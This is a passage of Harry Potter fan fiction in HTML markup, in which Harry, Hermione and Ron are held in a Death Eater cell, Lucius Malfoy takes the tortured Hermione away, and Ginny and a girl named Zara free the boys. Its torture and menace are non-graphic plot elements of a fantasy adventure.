style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She was looking oddly at him, she often wondered if Wormtail\nwas in his right mind. &#8220;What are you doing?&#8221; She said crossing her arms over\nher chest.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Something was throwing rocks at me.&#8221; Wormtail said looking\naround in all directions.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She sighed rolling her eyes, &#8220;I think you&#8217;ve been working to\nhard, go on take a break.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Really? But the Dark Lord said I\nwasn&#8217;t to move from this spot.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;ll stand guard for you, the prisoners will not escape. I\nhave to tend to the girl&#8217;s wounds anyway.&nbsp;\nYou can come back to your post in about an hour.&#8221; She said looking at\nWormtail&#8217;s face for an answer.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh all right then.&#8221; Wormtail nodded and started down the\ncorridor as Ron pressed himself up against the wall so that he wouldn&#8217;t get\nknocked into. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron rushed up towards the Death Eater as she was opening the\ncell door; he slipped in right after her.&nbsp;\nThe door closed almost hitting him.&nbsp;\nRon saw Harry and Hermione sitting together on the ground against the\nwall. Hermione was facing Harry, leaning into him. Even though Harry had his\narms lightly around her, Ron could still see the bad shape that Hermione was\nin. She was in a black robe that was pulled up around her legs and unbuttoned\nin the back.&nbsp; Ron saw the horrific deep\ngashes; he assumed that anything that touched her wounds would just hurt\nmore.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The Death Eater started applying some kind of liquid to\nHermione&#8217;s wounds on her back, Ron watched Hermione cringe and gasp in pain\nevery time the cloth came in contact with a gash.&nbsp; She shifted and buried her face in Harry&#8217;s\nchest; he was lightly stroking his fingers through her hair, trying to soothe\nher.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Will there be scars?&#8221; Hermione&#8217;s voice was muffled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Not on the outside dear.&#8221; The Death Eater said as she\nfinished applying to last of the potion to Hermione&#8217;s gash on her lower\nback.&nbsp; After an hour of attending to\nHermione&#8217;s other wounds she checked out how the gashes on her back looked after\nthe third dose of the potion.&nbsp; They were\nlooking much better and she was proud of her nursing skills. &#8220;There now, just\nanother couple of days of this and you&#8217;ll be as good as new.&#8221;&nbsp; The Death Eater didn&#8217;t even wait for a reply\nas she stood.&nbsp; &#8220;I&#8217;ll be back in a few\nhours to add some more potions.&#8221; She headed towards the door, opened it and saw\nWormtail had resumed his position.&nbsp; She\nleft the cell.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry glanced about Hermione&#8217;s face; her eyes were\nclosed.&nbsp; He lifted his fingers and\nlightly touched the scratches on her face, which were healing up nicely.&nbsp; He looked at all the marks; there were\nseveral deep looking holes on both sides, between her neck and shoulder.&nbsp; He lightly touched the holes and Hermione\nnearly jumped a mile high off of him and without thinking violently smacked his\nhand away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m sorry, did that hurt?&#8221; Harry was concerned that he had\nhurt her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Tears started swelling in her eyes. &#8220;Oh Harry I&#8217;m so sorry,\nI didn&#8217;t mean to hit you.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;It&#8217;s alright.&#8221; His arms carefully went around her. &#8220;Shhh, come here.&nbsp;\nEverything will be all right now; I&#8217;m not going to let anyone hurt you\nagain. Ever.&#8221;&nbsp;\nHarry started rocking her gently in his arms as Hermione leaned into\nhim.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;It&#8217;s just what happened you know.&#8221; She said leaning her\nhead against his shoulder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I know.&#8221; Harry&#8217;s eyes narrowed at what Hermione was finally\nable to tell him about what happened during her torture.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry, do you think we&#8217;ll ever get out of here?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I don&#8217;t know.&#8221; Harry wanted to have hope\nthat they would get home, but so far there was none.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You know I would give anything just to be back at\nHogwarts.&#8221; Hermione sniffled trying to get a hold of her emotions, &#8220;Oh what I\nwould give to just see Ginny and Ron.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Something shuffling in the corner of the cell caught Harry\nand Hermione&#8217;s attention, they turned in the direction of the noise and Ron\nappeared out of nowhere.&nbsp; Hermione\nslapped her hand over her mouth to muffle her scream of surprise.&nbsp; The both of them stood, Hermione stood on\nshaky legs and Harry helped steady her a bit until she got a hold of herself\nand was able to stand on her own.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ron, what&#8230;. how?&#8221;&nbsp; Hermione couldn&#8217;t put the words together.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;How did you get here?&#8221; Harry asked astonished.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;It wasn&#8217;t easy I&#8217;ll tell you that.&#8221;&nbsp; Ron said while he looked at Hermione.&nbsp; His heart broke seeing her looking like that,\nthis was his best friend. How did she last through such a time? &#8220;Look what they\ndid to you, I&#8217;ll kill them.&#8221; He said in pure rage.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione glanced down at her feet, which were still pretty\ncut up, but she could still see the signs of healing, and she lifted her head\nmeeting his gaze.&nbsp; &#8220;Ron, there&#8217;s nothing\nyou can do.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry glanced about her, he too felt the same rage that Ron\ndid, probably more so.&nbsp; &#8220;There is something\nwe can do.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry, we already know that Slytherin is ten times stronger\nthan any of us&#8212;&#8221; Hermione stopped short, &#8220;Ron did you bring help with you? Are\nwe getting out of here?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well Malfoy is here with me, but I don&#8217;t count him as\nhelp.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Malfoy?&#8221; Hermione shuddered; with\njust the mention of the name Malfoy, she started shaking.&nbsp; His name poked more fear in her then the Dark\nLord Voldemort himself.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hermione, sit down.&#8221; Harry said looking at her, worry\nflashed in his eyes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Just that simple name caused her to loose herself to her\nfear, even though she knew Ron was talking about Draco.&nbsp; Still she couldn&#8217;t even stand to hear the\nname Malfoy spoken.&nbsp; Lucius Malfoy had\ntortured her in so many ways, and was just waiting to continue.&nbsp; Harry helped Hermione to sit down on the\nground as she was trying to calm down.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione glanced up at Ron, she was so happy to see him that\na glimmer of hope flickered in her eyes.&nbsp;\n&#8220;Ron please tell us we&#8217;re getting out of\nhere?&#8221;&nbsp;&nbsp;&nbsp; She asked while getting to her\nfeet.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron opened his mouth to speak when the iron door started to\nopen; Ron quickly covered himself with the cloak hoping not to be discovered. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;Lucius Malfoy\naccompanied by five other Death Eaters stepped into the cell causing Hermione\nto step back a great distance. &#8220;It&#8217;s time.&#8221; He\nsaid.&nbsp; Lucius watched the girl as her\neyes widened into large, helpless saucers.&nbsp;\nThat pleased him.&nbsp; She was finally\nscared of him.&nbsp; He felt the same familiar\nstirring within him he got when he heard her delightful screams a few days\nago.&nbsp; Lucius smirked.&nbsp; Slytherin was just going to have to wait; he\nhad a few plans for the girl.&nbsp; He took a\nfew steps towards her and he watched her cower and retreat back even further\naway from him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry&#8217;s arm immediately shot around her protectively; there\nwas no way he was going to let her be taken away. &#8220;Stay away.&#8221; He demanded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">This caused Lucius to almost double over in laughter, but he\nrefrained himself.&nbsp; &#8220;We can do this the\neasy way, or the hard way?&#8221; He looked at the two of them.&nbsp; Lucius watched as Harry&#8217;s arms simply\ntightened around her, he was not going to budge.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lucius took a step towards them when he heard a small really\nun-noticeable nose in the corner of the cell.&nbsp;\nMost people wouldn&#8217;t have heard the noise but Lucius had powerful ears\nand could pick out the smallest noise.&nbsp;\nHe looked towards Harry and Hermione.&nbsp;\n&#8220;There&#8217;s someone in here with you, who is it?&#8221; The corner of his mouth\ncurved into a half grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry and Hermione said nothing as Lucius stepped closer to\nthe prisoners.&nbsp;&nbsp; Harry stood in front of\nHermione to shield her from harm. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;Lucius smirked. &#8220;I\nasked you a question; you&#8217;d do best to answer it.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Why are all you dark wizards always saying things like\nthat? I mean it gets a little redundant after a while, you know we&#8217;re not going\nto answer you.&#8221; Harry was sarcastic.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">A low chuckle escaped Lucius; he knew when something was\nfunny even if a wizard who was beneath him spoke it.&nbsp; &#8220;Well Mudblood Lover, maybe you&#8217;ll find out\nanother day.&#8221; His gaze moved and connected with Hermione&#8217;s. &#8220;How&#8217;s my Screamer\ndoing today?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry&#8217;s fist shot up and Lucius moved back just in time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lucius just laughed, &#8220;A little feisty today aren&#8217;t we\nPotter?&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Stay away from her.&#8221; Harry demanded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;We&#8217;ve already been though this,&#8221; Lucius shook his head back\nand forth.&nbsp; &#8220;First things first\nthough.&#8221;&nbsp; Lucius snapped his fingers and\nhis Death Eaters snapped to attention.&nbsp;\n&#8220;The far corner to the right, attack it.&#8221; Lucius said while still\nlooking at Harry and Hermione, he saw both their eyes widen with fear.&nbsp; That pleased him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The Death Eaters descended on the corner as Ron was wrestled\nfrom the invisibility cloak and was held back by two Death Eaters, he tried to\nwriggle out of their grasp.&nbsp; Their grip\nwas strong.&nbsp; Ron was stuck.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">One of the Death Eaters handed Lucius the invisibility\ncloak.&nbsp; Lucius looked at the cloak, &#8220;Very\nnice.&#8221;&nbsp; He looked over at Harry; he knew\nwhere he had gotten this.&nbsp; Lucius moved\ntowards Ron, &#8220;Ah, a Weasley.&#8221;&nbsp; He said as if his name carried some kind of\ndisease. &#8220;It&#8217;s a shame your daddy isn&#8217;t here to help you out.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I don&#8217;t need my father to help me.&#8221; Ron said bitterly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lucius scoffed, &#8220;I doubt that.&nbsp; Your father at least can throw a mean punch,\nwhat can you do? The youngest boy in the family, who\'s always\nbeing over shadowed by your siblings.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;How did you know that?&#8221; Ron glared he tried to pull his\narms from the Death Eater&#8217;s grasp. It didn&#8217;t work.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I know a lot about you little Weasley.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron chuckled, &#8220;I&#8217;m not so little. I&#8217;m bigger than you.&#8221; He\nsmirked sarcastically.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;That means nothing you fool. I am stronger than you.&#8221; He\nglared.&nbsp; &#8220;No matter though.&nbsp; I&#8217;m sure you will be welcome to stay.&#8221;&nbsp; He turned towards the cell door, &#8220;Wormtail!&#8221;&nbsp; He saw the sniveling worm poke his head in\nthe doorway.&nbsp; &#8220;Go and inform the Master\nof our new guest, and that he will be rooming in cell B with young Mr. Potter\nand the Mudblood here.&#8221; Lucius snarled &#8220;And take this to him too.&#8221; Lucius threw\nthe invisibility cloak at the insignificant servant. Wormtail&#8217;s head vanished\nfrom the doorway.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lucius turned back towards Harry and Hermione; he glanced at\nthe girl.&nbsp; Well what he could see of her\nsince she was now being completely blocked by Harry. &#8220;We have business to take\ncare of Mudblood.&#8221; And he took a step towards her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I said back off!&#8221; Harry shouted pushing Hermione behind him\nmore while continuing to stand in the way.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Just get out of the way boy, you are standing in the way of\nthe future.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No.&#8221; Harry glared.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lucius didn&#8217;t want to get his hands dirty with beating up Harry,\nthat&#8217;s what he had Death Eaters for.&nbsp;\n&#8220;The Mudblood is coming with me.&#8221;&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lucius and Harry glared at each other, neither of them\nbreaking eye contact.&nbsp; An eerie silence\nswept over the cell.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Without warning Ron managed to catch the Death Eaters off guard\nand escaped from the grasp, he went flying full force at Lucius, knocking him\nto the ground.&nbsp; Harry continued to shield\nHermione; they couldn&#8217;t escape as Death Eaters were blocking the only means of\nescape from the cell.&nbsp; Ron and Lucius\nwere fighting and wrestling around on the ground for control.&nbsp; Three of the six Death Eaters scurried over\nto the fighting pair and pulled Ron from off of Lucius, they pinned the\nteenager to the ground, Ron couldn&#8217;t move. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;Lucius,\ngetting to his feet, now stood in a complete rage.&nbsp; He was fed up. He snapped his fingers and the\nremaining Death Eaters followed after Lucius as he was approaching quickly\ntowards Harry.&nbsp; The Death Eaters seemed\nto know what to do, as they attacked Harry.&nbsp;\nHe tried to fight them off but there was too many of them, he managed\nseveral good punches in all directions at least hitting one of them at many\ndifferent times, while this was going on it left Hermione unprotected.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione was scurrying around the room in attempts to escape\nas Death Eaters would make a grab from her, she would slip out of their hold\nalmost instantly.&nbsp; It didn&#8217;t matter that\nher feet were so sore that they were practically killing her as she put up her\nfight.&nbsp; Hermione did not want to be\ntortured again; she would do anything to get away.&nbsp; She made a mistake in her direction and ran\nright into Lucius, she was running so hard that she smacked right into him with\nsuch a force that it knocked her to the ground, she landed flat on her back,\nthe wind knocked out of her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lucius wasted no time in bending down he lifted her off the\nground as she struggled trying to get out of his grasp.&nbsp; He lifted her and swung her over his\nshoulder, she kicked and wiggled around so much, but it did little difference,\nhe was too strong for her to escape.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp; &#8220;You&#8217;re just wasting\nyour energy Mudblood.&#8221; Lucius chuckled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">The Death Eaters stopped attacking Harry as he stopped\nattacking them. The Death Eaters holding Ron down too started backing away from\nhim.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry ran towards Lucius who was taking Hermione away but\nthe Death Eaters stopped him, standing all around Lucius that no one could get\npast them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Put her down.&#8221; Harry demanded.&nbsp; &#8220;Don&#8217;t take her, I&#8217;ll do anything just don&#8217;t\nhurt her.&#8221; He now was begging. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Lucius turned around with a smirk, &#8220;It&#8217;s not about you this\ntime boy.&#8221; He smirked then turned leaving the cell.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry couldn&#8217;t help the rapid tears in his eyes as Hermione\nwas being ripped away from him again only to be severely tortured.&nbsp; He quickly headed towards Lucius and\nHermione, but the Death Eaters closed the door quickly.&nbsp; Harry flung himself against it; he banged his\nfist on the solid iron. A loud agonized yell fought its way out of him as he\nslammed and hit the door a few times with both fists so hard that he managed to\nmake dents in it. Harry wore himself out and leaned his forehead head against\nthe cold iron door.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron stood up from the ground dusting himself\noff, which caused Harry to quickly look towards him.&nbsp; Ron could see Harry&#8217;s eyes were red from his\nviolent tears.&nbsp; He tried to mask them,\nbut couldn&#8217;t.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I promised I wouldn&#8217;t let them take her again, and look\nwhat happened.&#8221; Harry said looking away from Ron, he felt so ashamed. He\nsqueezed his eyes together tightly as the tears started up again.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;It&#8217;s not your fault.&#8221; Ron simply said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yes it is, they are going to hurt\nher again.&nbsp; I wasn&#8217;t strong enough to\nhold them back. I&#8217;m supposed to be protecting her.&#8221;&nbsp; Harry shook his head in disappointment of\nhimself glaring at the chipped floor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry get a grip, it was like six to one.&nbsp; You are only one person there was no way you\nor I could have prevented them from taking her.&nbsp;\nTrue it&#8217;s terrible that Hermione was taken away I wanna rip out their\nthroats just as much as you do, but it is not your fault. Don&#8217;t blame yourself\nfor this at all.&#8221; Ron took a deep breath; he was finding it hard to keep his\nemotions in check. He had no idea what happened to Hermione but he didn&#8217;t want\nto find out what else could happen to her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry turned his head looking at Ron, just simply staring at\nhim for a long moment trying to take in everything he had said.&nbsp; He still felt it was his fault that Hermione\nwas ripped from his arms once again.&nbsp; No\none could change his mind about that.&nbsp;&nbsp;\nYet he couldn&#8217;t dwell on it, he had to get to Hermione, now.&nbsp; &#8220;Well we have to get out of here.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;All right, I&#8217;m all for that. Just tell me, how?&#8221; Ron said</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Outside the cell Wormtail who had resumed his position\nshifted a bit leaning against the door, he didn&#8217;t hear someone walk up behind\nhim.&nbsp; Something sharp was pressed to the\nside of his neck.&nbsp; &#8220;Don&#8217;t turn around or\nyou will regret it.&#8221;&nbsp; Wormtail&#8217;s eyes\nwidened with fear at the sound of the feminine voice echoing menacingly in his\near.&nbsp; &#8220;Don&#8217;t even think about calling for\nhelp either, if you make one sound you&#8217;re dead.&#8221; He felt her pressing the sharp\nobject harder against his neck.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Now you might be wondering&#8212;Ow!&#8221; She was elbowed hard in the side.&nbsp; &#8220;Ginny! You ruined my whole scene.&#8221; She said\nin disappointment.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Zara just tell him to let them out, why do you have to make\na whole big drama production out of it?&#8221; Ginny said shaking her head back and\nforth.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Zara humpfed, &#8220;Fine, do what she said let them out.&#8221; She was\nslightly disappointed she had this whole speech planed out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What if I said no?&#8221; Wormtail was bitter and he felt the\nsharp object pressed harder against his neck.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I really hate smart asses.&nbsp;\nI&#8217;m the only smart ass here, got it.&#8221; Zara held her hand out and Ginny\nplaced a large rock in her hand.&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Let them out now.&#8221; Ginny demanded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Wormtail laughed, &#8220;No.&#8221;&nbsp;\nHe felt something hard slam against the back of his head; all went\ndark.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ginny and Zara smiled as the watched his pudgy body slump to\nthe floor. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;Ginny turned to Zara.\n&#8220;How did you even get him to shut up and not call for help?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh I poked something sharp into his neck.&#8221; Zara said\nnonchalantly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What was it?&#8221; Ginny glanced about Zara looking for some\nkind of weapon but didn&#8217;t see one.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Zara lifted up her hand showing Ginny the weapon of\nchoice.&nbsp; It was a stick, not even a stick\nit was more like a twig.&nbsp; Ginny&#8217;s jaw\ndropped in horror, &#8220;you threatened a murdering psycho with a stick?&#8221; She was\nappalled. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yeah, so?&#8221; Zara shrugged her\nshoulders.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;A stick Zara, it was a stick.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Hey it worked didn&#8217;t it?&nbsp;\nNext time let&#8217;s see you threaten someone with a stick as well as I did.&#8221;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Someone&#8217;s full of themselves.&#8221; Ginny sneered.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Zara shook her head back and forth; she was not going to get\ninto an argument with Ron&#8217;s sister.&nbsp; She\nbent down and fished through Wormtail&#8217;s pockets and found a set of keys.&#8221;&nbsp; She smiled down at the unconscious figure and\npatted him on the head, &#8220;Thanks.&#8221; She stood and started to go through the many\nkeys on the ring.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron and Harry watched as the cell door opened, they were\nready for anyone who might be entering.&nbsp;\nBoth Ron and Harry&#8217;s jaw dropped at seeing the two girls smiling widely\nback at them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Okay who&#8217;s all for escaping?&#8221; Zara said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Just what are you doing here?&#8221; Ron said as he and Harry\nheaded towards them.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well since I have these keys and I&#8217;m standing here with the\ndoor open, I&#8217;d say rescuing your pathetic ass.&#8221; She smiled sarcastically.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron burst out into laughter.&nbsp;\nAfter he collected himself, </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry glared, &#8220;Ron we need to find Hermione now.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Ron nodded and he, Harry, Zara and Ginny went off to find\nwhere they took Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She attempted to kick him away and barely missed, &#8220;Stay away\nfrom me.&#8221; Hermione demanded.&nbsp; She tried\nto wiggle out of the claps that held her wrists to the wall above her head. It\nwas useless.&nbsp;</p>\n\n<p class="MsoNormal" 